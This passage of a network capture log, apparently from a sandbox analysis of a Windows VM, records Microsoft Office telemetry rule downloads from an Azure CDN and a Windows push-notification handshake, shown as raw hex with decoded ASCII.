4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.6	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:28 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:28 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:28 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 16f71f95-f01e-0099-73fb-259171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080728Z-16849878b7828dsgct3vrzta7000000007ng000000009v1m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:28 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.6	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:28 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:28 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:28 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: d859240f-301e-001f-2a4c-2baa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080728Z-15b8d89586flzzksdx5d6q7g1000000004c0000000006prt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:28 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.6	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:28 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:28 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:28 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: e1cf8e51-d01e-00a1-6880-2935b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080728Z-159b85dff8f7svrvhC1DFWth2s0000000140000000006dsw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:28 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.6	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:28 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:28 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:28 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 08f6a26f-f01e-0071-6b1c-27431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080728Z-16849878b78hh85qc40uyr8sc800000009d000000000hvhd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:28 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.6	49844	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:28 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 79 50 34 55 77 4d 4f 6b 4b 45 43 71 57 75 37 72 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 38 61 33 61 30 32 64 62 33 32 33 37 31 63 34 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: yP4UwMOkKECqWu7r.1Context: c8a3a02db32371c4
2024-10-31 08:07:28 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-31 08:07:28 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 79 50 34 55 77 4d 4f 6b 4b 45 43 71 57 75 37 72 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 38 61 33 61 30 32 64 62 33 32 33 37 31 63 34 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 66 48 31 32 41 41 55 38 4f 4d 55 6a 6a 4f 42 6a 4f 49 49 74 52 31 64 6a 77 45 54 44 78 51 68 70 30 43 30 4b 6c 4d 62 77 78 6e 76 39 75 2b 79 6e 43 56 6f 59 70 57 74 76 33 42 78 4a 4b 4d 5a 72 37 56 42 2f 70 31 54 54 49 67 5a 64 34 49 78 4a 77 42 63 51 50 76 6c 67 48 39 6d 4c 69 6f 6f 58 43 37 54 6c 72 54 5a 47 44 57 6b 42 67 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: yP4UwMOkKECqWu7r.2Context: c8a3a02db32371c4<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAfH12AAU8OMUjjOBjOIItR1djwETDxQhp0C0KlMbwxnv9u+ynCVoYpWtv3BxJKMZr7VB/p1TTIgZd4IxJwBcQPvlgH9mLiooXC7TlrTZGDWkBg
2024-10-31 08:07:28 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 79 50 34 55 77 4d 4f 6b 4b 45 43 71 57 75 37 72 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 38 61 33 61 30 32 64 62 33 32 33 37 31 63 34 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: yP4UwMOkKECqWu7r.3Context: c8a3a02db32371c4<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-31 08:07:28 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-31 08:07:28 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 64 56 53 71 54 63 67 67 73 6b 69 74 65 48 6e 4b 2b 50 65 6a 2f 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: dVSqTcggskiteHnK+Pej/A.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.6	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:28 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:28 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:28 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 903d1aff-701e-0050-019c-276767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080728Z-15b8d89586f6nn8zqg1h5suba800000004m0000000000vru x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:28 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.6	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:29 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:29 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:29 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 3a798620-501e-00a0-0295-279d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080729Z-16849878b78q9m8bqvwuva4svc00000007p000000000fryq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 08:07:29 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.6	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:29 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:29 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:29 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 2f6e7a45-901e-0083-466a-26bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080729Z-16849878b7898p5f6vryaqvp5800000009z000000000f636 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:29 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.6	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:29 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:29 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:29 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 92eac08a-601e-0001-29b2-26faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080729Z-16849878b78zqkvcwgr6h55x9n00000008ng00000000btyw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:29 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.6	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:29 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:29 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:29 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 10294bf0-701e-0021-254d-273d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080729Z-17c5cb586f626sn8grcgm1gf8000000007u0000000002fch x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:29 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.6	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
